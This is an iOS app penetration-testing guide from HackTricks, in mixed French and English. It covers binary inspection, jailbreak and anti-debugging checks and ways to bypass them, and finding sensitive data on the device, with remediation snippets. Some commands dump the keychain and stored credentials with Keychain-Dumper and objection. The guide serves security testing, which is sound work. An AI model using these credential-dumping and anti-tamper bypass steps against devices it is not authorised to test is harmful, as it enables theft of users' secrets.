iOS Pentesting
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
iOS Basics
Testing Environment
In this page you can find information about the iOS simulator, emulators and jailbreaking:
Initial Analysis
Basic iOS Testing Operations
Pendant les tests, plusieurs opérations vont être proposées (connexion à l’appareil, lecture/écriture/upload/download de fichiers, utilisation d’outils…). Donc, si vous ne savez pas comment effectuer l’une de ces actions, commencez par lire la page :
Tip
Pour les étapes suivantes l’app doit être installée sur l’appareil et il faut déjà avoir obtenu le IPA file de l’application.
Read the Basic iOS Testing Operations page to learn how to do this.
Basic Static Analysis
Some interesting iOS - IPA files decompilers:
Il est recommandé d’utiliser l’outil MobSF pour effectuer une analyse statique automatique du fichier IPA.
Identification des protections présentes dans le binaire :
- PIE (Position Independent Executable) : Lorsqu’il est activé, l’application se charge à une adresse mémoire aléatoire à chaque lancement, rendant plus difficile la prédiction de son adresse mémoire initiale.
otool -hv <app-binary> | grep PIE # It should include the PIE flag
- Stack Canaries : Pour valider l’intégrité de la pile, une valeur « canary » est placée sur la pile avant l’appel d’une fonction et est vérifiée à nouveau lorsque la fonction se termine.
otool -I -v <app-binary> | grep stack_chk # It should include the symbols: stack_chk_guard and stack_chk_fail
- ARC (Automatic Reference Counting) : Pour prévenir les failles courantes de corruption mémoire
otool -I -v <app-binary> | grep objc_release # It should include the _objc_release symbol
- Encrypted Binary : Le binaire doit être chiffré
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # The cryptid should be 1
Identification of Sensitive/Insecure Funcions
- Weak Hashing Algorithms
# On the iOS device
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"
# On linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
- Insecure Random Functions
# On the iOS device
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"
# On linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
- Insecure ‘Malloc’ Function
# On the iOS device
otool -Iv <app> | grep -w "_malloc"
# On linux
grep -iER "_malloc"
- Insecure and Vulnerable Functions
# On the iOS device
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"
# On linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"
Common Jailbreak detection methods
- File System Checks : Rechercher la présence de fichiers et répertoires de jailbreak courants, comme /Applications/Cydia.app ou /Library/MobileSubstrate/MobileSubstrate.dylib.
- Sandbox Violations : Tenter d’accéder à des zones restreintes du système de fichiers, qui devraient être bloquées sur les appareils non jailbreakés.
- API Checks : Vérifier s’il est possible d’utiliser des appels interdits comme fork() pour créer un processus enfant ou system() pour voir si /bin/sh existe.
- Process Checks : Surveiller la présence de processus liés au jailbreak connus, tels que Cydia, Substrate, ou ssh.
- Kernel Exploits : Vérifier la présence d’exploits du kernel couramment utilisés dans les jailbreaks.
- Environment Variables : Inspecter les variables d’environnement pour des signes de jailbreak, comme DYLD_INSERT_LIBRARIES.
- Libraries Check : Vérifier les libs chargées dans le processus de l’app.
- Check schemes : Comme canOpenURL(URL(string: “cydia://”)).
Common Anti-Debugging detection methods
- Check for Debugger Presence : Utiliser sysctl ou d’autres méthodes pour vérifier si un debugger est attaché.
- Anti-Debugging APIs : Rechercher des appels aux API anti-debugging comme ptrace ou SIGSTOP, par exemple ptrace(PT_DENY_ATTACH, 0, 0, 0).
- Timing Checks : Mesurer le temps pris pour certaines opérations et rechercher des écarts pouvant indiquer du debugging.
- Memory Checks : Inspecter la mémoire pour des artefacts ou modifications connus liés aux debuggers.
- Environment Variables : Vérifier les variables d’environnement pouvant indiquer une session de debugging.
- Mach Ports : Détecter si des mach exception ports sont utilisés par des debuggers.
Anti-Debugging & Anti-Tamper Techniques (Layered Checks)
Les applications réelles superposent souvent des vérifications pre-exec, on-attach et continues. Patterns communs à rechercher (et comment les neutraliser durant les tests) :
- Private API side-channel fingerprinting : des private launch APIs (par ex. SBSLaunchApplicationWithIdentifierAndURLAndLaunchOptions) sont abusées pour sonder des bundle IDs installés (com.opa334.TrollStore, org.coolstar.SileoStore, com.tigisoftware.Filza, etc.) via les codes de retour/logging. Hookez l’appel et nettoyez les arguments/valeurs de retour pour émuler un appareil propre.
- Self-attestation via code-signing state : csops() avec CS_OPS_ENTITLEMENTS_BLOB lit les entitlements ; des valeurs inattendues déclenchent un exit. Associez cela à des checks d’intégrité (CRC32/MD5 des ressources, validation du certificat, métadonnées Mach-O comme LC_ENCRYPTION_INFO_64) pour détecter un re-signing ou un patch. Instrumentez ces routines et forcez des résultats “attendus” pendant l’analyse.
- Kill-on-attach : ptrace(PT_DENY_ATTACH) combiné avec abort()/exit() à l’attachement. Bypassez en neutralisant le chemin de terminaison ou en hookant ptrace pour qu’il réussisse sans appliquer le deny.
- Crash forensics sabotage : écraser les registres CPU avant un crash pour détruire les backtraces. Préférez des breakpoints/hooks plus en amont du chemin de détection plutôt que de compter sur les logs de crash.
- Jetsam-based termination : pression mémoire volontaire pour déclencher jetsam, ce qui ne laisse pas de log de crash normal. Cherchez de grandes allocations autour de la logique de détection et limitez/contournez celles-ci pour conserver les logs.
- Continuous checks with delayed enforcement : des timers heartbeat relancent les détections et imposent plus tard. Tracez les timers/dispatch sources et gardez le processus en vie en contournant le chemin de kill différé.
Basic Dynamic Analysis
Consultez l’analyse dynamique que réalise MobSF. Vous devrez naviguer entre les différentes vues et interagir avec elles : MobSF hookera plusieurs classes pendant l’exécution et préparera un rapport une fois terminé.
Listing Installed Apps
Use the command frida-ps -Uai to determine the bundle identifier of the installed apps:
$ frida-ps -Uai
PID Name Identifier
---- ------------------- -----------------------------------------
6847 Calendar com.apple.mobilecal
6815 Mail com.apple.mobilemail
- App Store com.apple.AppStore
- Apple Store com.apple.store.Jolly
- Calculator com.apple.calculator
- Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift
Énumération de base & Hooking
Apprenez comment énumérer les composants de l’application et comment facilement hooker des méthodes et des classes avec objection:
Structure d’un IPA
La structure d’un fichier IPA est essentiellement celle d’un package zippé. En renommant son extension en .zip, il peut être décompressé pour révéler son contenu. Dans cette structure, un Bundle représente une application entièrement empaquetée prête à l’installation. À l’intérieur, vous trouverez un répertoire nommé <NAME>.app, qui encapsule les ressources de l’application.
Info.plist: Ce fichier contient des détails de configuration spécifiques de l’application._CodeSignature/: Ce répertoire inclut un fichier plist qui contient une signature, garantissant l’intégrité de tous les fichiers du bundle.Assets.car: Une archive compressée qui stocke des fichiers d’assets comme les icônes.Frameworks/: Ce dossier contient les bibliothèques natives de l’application, qui peuvent prendre la forme de fichiers.dylibou.framework.PlugIns/: Cela peut inclure des extensions de l’application, connues sous forme de fichiers.appex, bien qu’elles ne soient pas toujours présentes. *Core Data: Il est utilisé pour sauvegarder les données permanentes de votre application pour une utilisation hors ligne, mettre en cache des données temporaires, et ajouter la fonctionnalité d’annulation (undo) à votre app sur un seul appareil. Pour synchroniser les données sur plusieurs appareils d’un même compte iCloud, Core Data reflète automatiquement votre schéma dans un conteneur CloudKit.PkgInfo: Le fichierPkgInfoest une façon alternative de spécifier les codes de type et de créateur de votre application ou bundle.- en.lproj, fr.proj, Base.lproj : Ce sont les packs de langue qui contiennent des ressources pour ces langues spécifiques, et une ressource par défaut au cas où une langue n’est pas prise en charge.
- Security : Le répertoire
_CodeSignature/joue un rôle critique dans la sécurité de l’app en vérifiant l’intégrité de tous les fichiers du bundle via des signatures numériques. - Asset Management : Le fichier
Assets.carutilise la compression pour gérer efficacement les assets graphiques, ce qui est crucial pour optimiser les performances de l’application et réduire sa taille globale. - Frameworks and PlugIns : Ces répertoires soulignent la modularité des applications iOS, permettant aux développeurs d’inclure des bibliothèques de code réutilisables (
Frameworks/) et d’étendre les fonctionnalités de l’app (PlugIns/). - Localization : La structure prend en charge plusieurs langues, facilitant la portée mondiale de l’application en incluant des ressources pour des packs de langues spécifiques.
Info.plist
Le Info.plist sert de pierre angulaire pour les applications iOS, encapsulant des données de configuration clés sous forme de paires clé-valeur. Ce fichier est requis non seulement pour les applications mais aussi pour les extensions d’app et les frameworks inclus. Il est structuré en XML ou en format binaire et contient des informations critiques allant des permissions d’application aux configurations de sécurité. Pour une exploration détaillée des clés disponibles, on peut se référer à la Apple Developer Documentation.
Pour ceux qui souhaitent travailler avec ce fichier dans un format plus accessible, la conversion en XML peut être réalisée facilement en utilisant plutil sur macOS (disponible nativement sur les versions 10.2 et ultérieures) ou plistutil sur Linux. Les commandes de conversion sont les suivantes :
- Pour macOS :
$ plutil -convert xml1 Info.plist
- Pour Linux:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
Parmi la myriade d’informations que le fichier Info.plist peut divulguer, on trouve notamment les chaînes de permission de l’application (UsageDescription), les schémas d’URL personnalisés (CFBundleURLTypes) et les configurations pour App Transport Security (NSAppTransportSecurity). Ces entrées, ainsi que d’autres comme les types de documents personnalisés exportés/importés (UTExportedTypeDeclarations / UTImportedTypeDeclarations), peuvent être facilement trouvées en inspectant le fichier ou en utilisant une simple commande grep :
$ grep -i <keyword> Info.plist
Chemins des données
Dans l’environnement iOS, les répertoires sont désignés spécifiquement pour les system applications et les user-installed applications. Les system applications résident dans le répertoire /Applications, tandis que les apps installées par l’utilisateur se trouvent sous /var/mobile/containers/Data/Application/. Ces applications se voient attribuer un identifiant unique connu sous le nom de 128-bit UUID, rendant la tâche de localisation manuelle du dossier d’une app difficile en raison de l’aléa des noms de répertoires.
Warning
Comme les applications iOS doivent être sandboxées, chaque app aura également un dossier dans
$HOME/Library/Containersportant comme nom leCFBundleIdentifierde l’app.Cependant, les deux dossiers (data & container folders) contiennent le fichier
.com.apple.mobile_container_manager.metadata.plistqui lie les deux fichiers via la cléMCMetadataIdentifier).
Pour faciliter la découverte du répertoire d’installation d’une app installée par l’utilisateur, l’outil objection fournit une commande utile, env. Cette commande révèle des informations détaillées sur les répertoires de l’app concernée. Ci-dessous un exemple montrant comment utiliser cette commande :
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
Name Path
----------------- -------------------------------------------------------------------------------------------
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
Alternativement, le nom de l’application peut être recherché dans /private/var/containers en utilisant la commande find :
find /private/var/containers -name "Progname*"
Des commandes telles que ps et lsof peuvent également être utilisées pour identifier le processus de l’application et lister les fichiers ouverts, respectivement, fournissant des informations sur les chemins de répertoire actifs de l’application :
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
Répertoire Bundle :
- AppName.app
- Ceci est l’Application Bundle comme vu précédemment dans l’IPA ; il contient les données essentielles de l’application, le contenu statique ainsi que le binaire compilé de l’application.
- Ce répertoire est visible par les utilisateurs, mais les utilisateurs ne peuvent pas écrire dedans.
- Le contenu de ce répertoire n’est pas sauvegardé.
- Le contenu de ce dossier est utilisé pour valider la signature du code.
Répertoire Data :
- Documents/
- Contient toutes les données générées par l’utilisateur. L’utilisateur final de l’application initie la création de ces données.
- Visible par les utilisateurs et les utilisateurs peuvent écrire dedans.
- Le contenu de ce répertoire est sauvegardé.
- L’app peut désactiver des chemins en définissant
NSURLIsExcludedFromBackupKey. - Library/
- Contient tous les fichiers qui ne sont pas spécifiques à l’utilisateur, tels que les caches, les préférences, les cookies, et les fichiers de configuration property list (plist).
- Les apps iOS utilisent généralement les sous-répertoires
Application SupportetCaches, mais l’app peut créer des sous-répertoires personnalisés. - Library/Caches/
- Contient des fichiers mis en cache semi-persistants.
- Invisible pour les utilisateurs et les utilisateurs ne peuvent pas écrire dedans.
- Le contenu de ce répertoire n’est pas sauvegardé.
- Le système peut supprimer automatiquement les fichiers de ce répertoire lorsque l’app n’est pas en cours d’exécution et que l’espace de stockage est faible.
- Library/Application Support/
- Contient des fichiers persistants nécessaires à l’exécution de l’app.
- Invisible pour les utilisateurs et les utilisateurs ne peuvent pas écrire dedans.
- Le contenu de ce répertoire est sauvegardé.
- L’app peut désactiver des chemins en définissant
NSURLIsExcludedFromBackupKey. - Library/Preferences/
- Utilisé pour stocker des propriétés qui peuvent persister même après le redémarrage de l’application.
- L’information est enregistrée, non chiffrée, à l’intérieur du sandbox de l’application dans un fichier plist appelé [BUNDLE_ID].plist.
- Toutes les paires clé/valeur stockées via
NSUserDefaultsse trouvent dans ce fichier. - tmp/
- Utilisez ce répertoire pour écrire des fichiers temporaires qui n’ont pas besoin de persister entre les lancements de l’app.
- Contient des fichiers mis en cache non persistants.
- Invisible pour les utilisateurs.
- Le contenu de ce répertoire n’est pas sauvegardé.
- Le système peut supprimer automatiquement les fichiers de ce répertoire lorsque l’app n’est pas en cours d’exécution et que l’espace de stockage est faible.
Examinons de plus près le répertoire Application Bundle de iGoat-Swift (.app) à l’intérieur du répertoire Bundle (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app):
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
------------ ------- ------------------ ... --------------------------------------
Regular 420 None ... rutger.html
Regular 420 None ... mansi.html
Regular 420 None ... splash.html
Regular 420 None ... about.html
Regular 420 None ... LICENSE.txt
Regular 420 None ... Sentinel.txt
Regular 420 None ... README.txt
Binary Reversing
Dans le dossier <application-name>.app vous trouverez un fichier binaire nommé <application-name>. C’est le fichier qui sera exécuté. Vous pouvez effectuer une inspection basique du binaire avec l’outil otool:
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
Vérifiez si l’app est chiffrée
Vérifiez s’il y a une sortie pour :
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
Désassemblage du binaire
Désassembler la section .text :
otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8 sub sp, sp, #0x60
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
0000000100004ac0 add x29, sp, #0x50
0000000100004ac4 sub x8, x29, #0x10
0000000100004ac8 mov x9, #0x0
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
Pour afficher le Objective-C segment de l’application d’exemple, on peut utiliser:
otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache 0x0 __objc_empty_cache
vtable 0x0
data 0x1003de748
flags 0x80
instanceStart 8
Pour obtenir un code Objective-C plus compact, vous pouvez utiliser class-dump:
class-dump some-app
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#pragma mark Named Structures
struct CGPoint {
double _field1;
double _field2;
};
struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};
struct CGSize {
double _field1;
double _field2;
};
Cependant, les meilleures options pour désassembler le binaire sont : Hopper et IDA.
Data Storage
Pour apprendre comment iOS stocke les données sur l’appareil, lisez cette page :
Warning
Les emplacements suivants pour stocker des informations doivent être vérifiés immédiatement après l’installation de l’application, après avoir testé toutes les fonctionnalités de l’application et même après s’être déconnecté d’un utilisateur et connecté avec un autre.
L’objectif est de trouver des informations sensibles non protégées de l’application (passwords, tokens), de l’utilisateur actuel et des utilisateurs précédemment connectés.
Plist
plist files are structured XML files that contains key-value pairs. C’est un moyen de stocker des données persistantes, donc il est parfois possible de trouver des informations sensibles dans ces fichiers. Il est recommandé de vérifier ces fichiers après l’installation de l’app et après une utilisation intensive pour voir si de nouvelles données y sont écrites.
The most common way to persist data in plist files is through the usage of NSUserDefaults. This plist file is saved inside the app sandbox in Library/Preferences/<appBundleID>.plist
The NSUserDefaults class provides a programmatic interface for interacting with the default system. The default system allows an application to customize its behaviour according to user preferences. Data saved by NSUserDefaults can be viewed in the application bundle. This class stores data in a plist file, but it’s meant to be used with small amounts of data.
Ces données ne peuvent plus être accédées directement via un ordinateur de confiance, mais peuvent être récupérées en effectuant une sauvegarde.
You can dump the information saved using NSUserDefaults using objection’s ios nsuserdefaults get
To find all the plist of used by the application you can access to /private/var/mobile/Containers/Data/Application/{APPID} and run:
find ./ -name "*.plist"
Pour convertir des fichiers du format XML ou binaire (bplist) vers XML, plusieurs méthodes selon votre système d’exploitation sont disponibles :
Pour les utilisateurs de macOS : Utilisez la commande plutil. C’est un outil intégré à macOS (10.2+), conçu pour cet usage :
$ plutil -convert xml1 Info.plist
Pour les utilisateurs Linux : Installez d’abord libplist-utils, puis utilisez plistutil pour convertir votre fichier:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
Within an Objection Session: Pour analyser les applications mobiles, une commande spécifique vous permet de convertir directement les fichiers plist :
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
Core Data
Core Data est un framework pour gérer la couche modèle des objets de votre application. Core Data can use SQLite as its persistent store, mais le framework lui-même n’est pas une base de données.
CoreData n’encrypte pas ses données par défaut. Cependant, une couche de chiffrement supplémentaire peut être ajoutée à CoreData. Voir le GitHub Repo pour plus de détails.
Vous pouvez trouver les informations SQLite Core Data d’une application dans le chemin /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support
Si vous pouvez ouvrir le fichier SQLite et accéder à des informations sensibles, alors vous avez trouvé une mauvaise configuration.
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
NSManagedObjectContext *context =[appDelegate managedObjectContext];
User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);
}else{
NSLog(@"data stored in core data");
}
}
YapDatabase
YapDatabase est un magasin key/value construit au-dessus de SQLite.
Comme les bases Yap sont des bases sqlite, vous pouvez les trouver en utilisant la commande proposée dans la section précédente.
Other SQLite Databases
C’est courant que les applications créent leur propre base sqlite. Elles peuvent y stocker des données sensibles et les laisser non chiffrées. Par conséquent, il est toujours intéressant de vérifier chaque base de données dans le répertoire de l’application. Allez donc dans le répertoire de l’application où les données sont enregistrées (/private/var/mobile/Containers/Data/Application/{APPID})
find ./ -name "*.sqlite" -or -name "*.db"
Firebase Real-Time Databases
Les développeurs peuvent stocker et synchroniser des données dans une base de données NoSQL hébergée dans le cloud via Firebase Real-Time Databases. Stockées au format JSON, les données sont synchronisées en temps réel vers tous les clients connectés.
You can find how to check for misconfigured Firebase databases here:
Realm databases
Realm Objective-C and Realm Swift offrent une alternative puissante pour le stockage de données, non fournie par Apple. Par défaut, elles store data unencrypted, avec encryption disponible via une configuration spécifique.
The databases are located at: /private/var/mobile/Containers/Data/Application/{APPID}. To explore these files, one can utilize commands like:
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
$ find ./ -name "*.realm*"
Pour visualiser ces fichiers de base de données, l’outil Realm Studio est recommandé.
Pour implémenter le chiffrement dans une base de données Realm, le fragment de code suivant peut être utilisé :
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}
Bases de données Couchbase Lite
Couchbase Lite est décrit comme un moteur de base de données léger et embarqué qui suit une approche orientée document (NoSQL). Conçu pour être natif sur iOS et macOS, il offre la capacité de synchroniser les données de façon transparente.
Pour identifier d’éventuelles bases de données Couchbase sur un appareil, le répertoire suivant doit être inspecté :
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
Cookies
iOS stocke les cookies des applications dans le Library/Cookies/cookies.binarycookies à l’intérieur du dossier de chaque application. Cependant, certains développeurs choisissent parfois de les sauvegarder dans le keychain, car le fichier de cookies mentionné peut être accessible dans les sauvegardes.
Pour inspecter le fichier de cookies vous pouvez utiliser this python script ou utiliser la commande objection ios cookies get.
Vous pouvez aussi utiliser objection pour convertir ces fichiers au format JSON et examiner les données.
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]
Cache
Par défaut NSURLSession stocke des données, telles que HTTP requests and responses in the Cache.db database. Cette base de données peut contenir des données sensibles, si des tokens, des noms d’utilisateur ou toute autre information sensible ont été mises en cache. Pour trouver les informations mises en cache, ouvrez le répertoire de données de l’app (/var/mobile/Containers/Data/Application/<UUID>) et allez dans /Library/Caches/<Bundle Identifier>. Le WebKit cache is also being stored in the Cache.db file. Objection peut ouvrir et interagir avec la base de données avec la commande sqlite connect Cache.db, car il s’agit d’une normal SQLite database.
Il est recommandé de désactiver la mise en cache de ces données, car elles peuvent contenir des informations sensibles dans la requête ou la réponse. La liste suivante montre différentes façons d’y parvenir :
- Il est recommandé de supprimer les réponses mises en cache après la déconnexion. Cela peut être fait avec la méthode fournie par Apple appelée
removeAllCachedResponsesVous pouvez appeler cette méthode comme suit :
URLCache.shared.removeAllCachedResponses()
Cette méthode supprimera toutes les requêtes et réponses mises en cache du fichier Cache.db.
- Si vous n’avez pas besoin d’utiliser les cookies, il est recommandé d’utiliser la propriété de configuration [.ephemeral] de URLSession, qui désactivera l’enregistrement des cookies et des Caches.
An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.
- Le cache peut également être désactivé en définissant la politique de cache sur [.notAllowed]. Cela empêchera le stockage du Cache, que ce soit en mémoire ou sur le disque.
Snapshots
Chaque fois que vous appuyez sur le bouton Home, iOS prend un instantané de l’écran courant afin de permettre une transition vers l’application beaucoup plus fluide. Cependant, si des données sensibles sont présentes à l’écran, elles seront enregistrées dans l’image (qui persiste après les redémarrages). Ce sont les instantanés auxquels vous pouvez aussi accéder en appuyant deux fois sur le bouton Home pour passer d’une app à l’autre.
Sauf si l’iPhone est jailbroken, l’attaquant doit avoir accès à l’appareil déverrouillé pour voir ces captures d’écran. Par défaut, le dernier instantané est stocké dans le sandbox de l’application dans Library/Caches/Snapshots/ ou Library/SplashBoard/Snapshots (the trusted computers can’ t access the filesystem from iOX 7.0).
Une façon d’empêcher ce comportement indésirable est d’afficher un écran blanc ou de supprimer les données sensibles avant la prise de l’instantané en utilisant la fonction ApplicationDidEnterBackground().
The following is a sample remediation method that will set a default screenshot.
Swift:
private var backgroundImage: UIImageView?
func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}
func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
Objective-C:
@property (UIImageView *)backgroundImage;
- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}
- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}
Ceci définit l’image de fond sur overlayImage.png chaque fois que l’application est mise en arrière-plan. Cela empêche les leaks de données sensibles car overlayImage.png remplacera toujours la vue courante.
Keychain
Pour accéder et gérer l’iOS keychain, des outils comme Keychain-Dumper sont disponibles, adaptés aux appareils jailbroken. De plus, Objection fournit la commande ios keychain dump pour des usages similaires.
Stockage des identifiants
La classe NSURLCredential est idéale pour enregistrer des informations sensibles directement dans le keychain, évitant le recours à NSUserDefaults ou à d’autres wrappers. Pour stocker les identifiants après la connexion, le code Swift suivant est utilisé:
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
Pour extraire ces identifiants stockés, la commande d’Objection ios nsurlcredentialstorage dump est utilisée.
Claviers personnalisés et cache du clavier
Depuis iOS 8.0, les utilisateurs peuvent installer des extensions de clavier personnalisées, qui sont gérables via Settings > General > Keyboard > Keyboards. Bien que ces claviers offrent des fonctionnalités étendues, ils présentent un risque de keystroke logging et de transmission de données vers des serveurs externes, même si les utilisateurs sont avertis des claviers nécessitant un accès réseau. Les apps peuvent — et doivent — restreindre l’utilisation de claviers personnalisés pour la saisie d’informations sensibles.
Recommandations de sécurité :
- Il est conseillé de désactiver les claviers tiers pour renforcer la sécurité.
- Faites attention à la correction automatique et aux suggestions automatiques du clavier iOS par défaut, qui peuvent stocker des informations sensibles dans des fichiers cache situés dans
Library/Keyboard/{locale}-dynamic-text.datou/private/var/mobile/Library/Keyboard/dynamic-text.dat. Ces fichiers cache doivent être vérifiés régulièrement pour détecter des données sensibles. Il est recommandé de réinitialiser le dictionnaire du clavier via Settings > General > Reset > Reset Keyboard Dictionary pour effacer les données mises en cache. - L’interception du trafic réseau peut révéler si un clavier personnalisé transmet des keystrokes à distance.
Prévenir la mise en cache des champs de texte
Le UITextInputTraits protocol propose des propriétés pour gérer la correction automatique et la saisie sécurisée, essentielles pour empêcher la mise en cache d’informations sensibles. Par exemple, désactiver la correction automatique et activer la saisie sécurisée peut être réalisé avec :
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
De plus, les développeurs doivent s’assurer que les champs de texte, en particulier ceux destinés à la saisie d’informations sensibles comme les mots de passe et les PINs, désactivent la mise en cache en définissant autocorrectionType sur UITextAutocorrectionTypeNo et secureTextEntry sur YES.
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
Logs
Le débogage de code implique souvent l’utilisation de logging. Il y a un risque car les logs peuvent contenir des informations sensibles. Auparavant, sous iOS 6 et les versions antérieures, les logs étaient accessibles à toutes les apps, ce qui posait un risque de fuite de données sensibles. Désormais, les applications ne peuvent accéder qu’à leurs propres logs.
Malgré ces restrictions, un attaquant ayant un accès physique à un appareil déverrouillé peut toujours exploiter cela en connectant l’appareil à un ordinateur et en lisant les logs. Il est important de noter que les logs restent sur le disque même après la désinstallation de l’app.
Pour atténuer les risques, il est conseillé de interagir de manière approfondie avec l’app, en explorant toutes ses fonctionnalités et entrées pour s’assurer qu’aucune information sensible n’est enregistrée involontairement.
Lors de l’examen du code source de l’app à la recherche de fuites potentielles, recherchez à la fois des déclarations de logging prédefinies et personnalisées en utilisant des mots-clés tels que NSLog, NSAssert, NSCAssert, fprintf pour les fonctions intégrées, et toute mention de Logging ou Logfile pour les implémentations personnalisées.
Surveillance des logs système
Les apps enregistrent diverses informations qui peuvent être sensibles. Pour surveiller ces logs, des outils et commandes tels que:
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
sont utiles. De plus, Xcode offre un moyen de collecter les journaux de la console:
- Ouvrez Xcode.
- Connectez l’appareil iOS.
- Allez dans Fenêtre -> Appareils et simulateurs.
- Sélectionnez votre appareil.
- Déclenchez le problème que vous étudiez.
- Utilisez le bouton Ouvrir la console pour afficher les logs dans une nouvelle fenêtre.
